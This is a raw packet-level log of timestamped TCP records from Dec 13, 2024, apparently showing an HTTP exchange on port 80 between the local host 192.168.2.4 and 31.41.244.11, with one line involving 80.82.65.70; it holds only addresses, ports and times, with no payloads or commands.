Dec 13, 2024 01:51:31.522047997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.522138119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.522289991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.522340059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.522528887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.522603035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.522706032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.522753954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.523497105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.523544073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.523703098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.523751020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.524499893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.524548054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.524677992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.524735928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.525598049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.525614023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.525646925 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.525660038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.526597977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.526647091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.526777983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.526823997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.527514935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.527585030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.527682066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.527734041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.528425932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.528470993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.528599024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.528645039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.529464006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.529512882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.529639959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.529686928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.530543089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.530560017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.530591011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.530605078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.531533957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.531579971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.531713963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.531758070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.532599926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.532646894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.532778978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.532819986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.533648014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.533689022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.533839941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.533880949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.534686089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.534703016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.534728050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.534744978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.535621881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.535665989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.535778046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.535816908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.536520958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.536559105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.536720037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.536757946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.536978960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.537018061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.537082911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.537121058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.538002968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.538032055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.538044930 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.538070917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.538990974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.539035082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.539098024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.539163113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.539957047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.540043116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.540061951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.540112972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.540971994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.541023016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.541074991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.541119099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.541989088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.542040110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.542117119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.542161942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.542953968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.543004990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.543019056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.543044090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.543970108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.544018030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.544097900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.544143915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.544954062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.545003891 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.545140982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.545186996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.546015978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.546065092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.546118975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.546163082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.546991110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.547008991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.547034979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.547046900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.548015118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.548064947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.548101902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.548142910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.548960924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.549025059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.549062014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.549103975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.549969912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.550029039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.550086975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.550136089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.550951004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.550997972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.551057100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.551103115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.551968098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.552016973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.552051067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.552098036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.552922964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.552973986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.553030014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.553077936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.553931952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.553992987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.554027081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.554075003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.554941893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.554996967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.555030107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.555075884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.555900097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.556025982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.556055069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.556197882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.556922913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.556984901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.557053089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.557101011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.557908058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.557948112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.557957888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.557998896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.558909893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.558967113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.559000015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.559047937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.559874058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.559962034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.559988976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.560080051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.560911894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.560970068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.561072111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.561126947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.561923981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.561939955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.561969995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.561995029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.562894106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.562947035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.563013077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.563085079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.563898087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.563998938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.564017057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.564083099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.564910889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.564968109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.565033913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.565078020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.565910101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.565958977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.565985918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.566026926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.566915035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.566982985 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.567070961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.567115068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.567914963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.567970991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.568005085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.568047047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.568888903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.568939924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.568975925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.569045067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.569896936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.569950104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.569986105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.570029974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.570898056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.570947886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.570981026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.571023941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.571852922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.571906090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.571959972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.572005987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.572873116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.572931051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.572963953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.573007107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.573829889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.573880911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.581053019 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:31.713495016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.713551998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.713593006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.713634968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.713779926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.713805914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.713820934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.713851929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.714431047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.714483023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.714571953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.714616060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.715430021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.715468884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.715496063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.715540886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.716422081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.716562986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.716588974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.716603041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.717379093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.717427969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.717477083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.717521906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.718363047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.718410015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.718472004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.718523026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.719501019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.719516993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.719561100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.719561100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.720350027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.720396042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.720449924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.720494032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.721360922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.721410990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.721448898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.721503973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.722341061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.722393036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.722491026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.722538948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.723366976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.723419905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.723457098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.723515987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.724380970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.724431992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.724463940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.724519968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.725347042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.725398064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.725425005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.725471020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.726341963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.726391077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.726459026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.726505041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.727376938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.727394104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.727442026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.728322983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.728370905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.728441000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.728486061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.729324102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.729372978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.729439020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.729496956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.730386019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.730448008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.730458975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.730510950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.731307030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.731381893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.731410980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.731477976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.732328892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.732399940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.732439041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.732507944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.733412981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.733483076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.733562946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.733630896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.734960079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.734976053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.735037088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.735460043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.735538006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.735549927 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.735627890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.736301899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.736375093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.736411095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.736485004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.737406969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.737421989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.737482071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.738293886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.738368988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.738401890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.738488913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.739332914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.739366055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.739409924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.739459038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.740292072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.740367889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.740394115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.740458012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.741271019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.741343021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.741398096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.741466999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.742300987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.742372990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.742424011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.742495060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.743283987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.743355989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.743382931 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.743446112 CET	49809	80	192.168.2.4	31.41.244.11
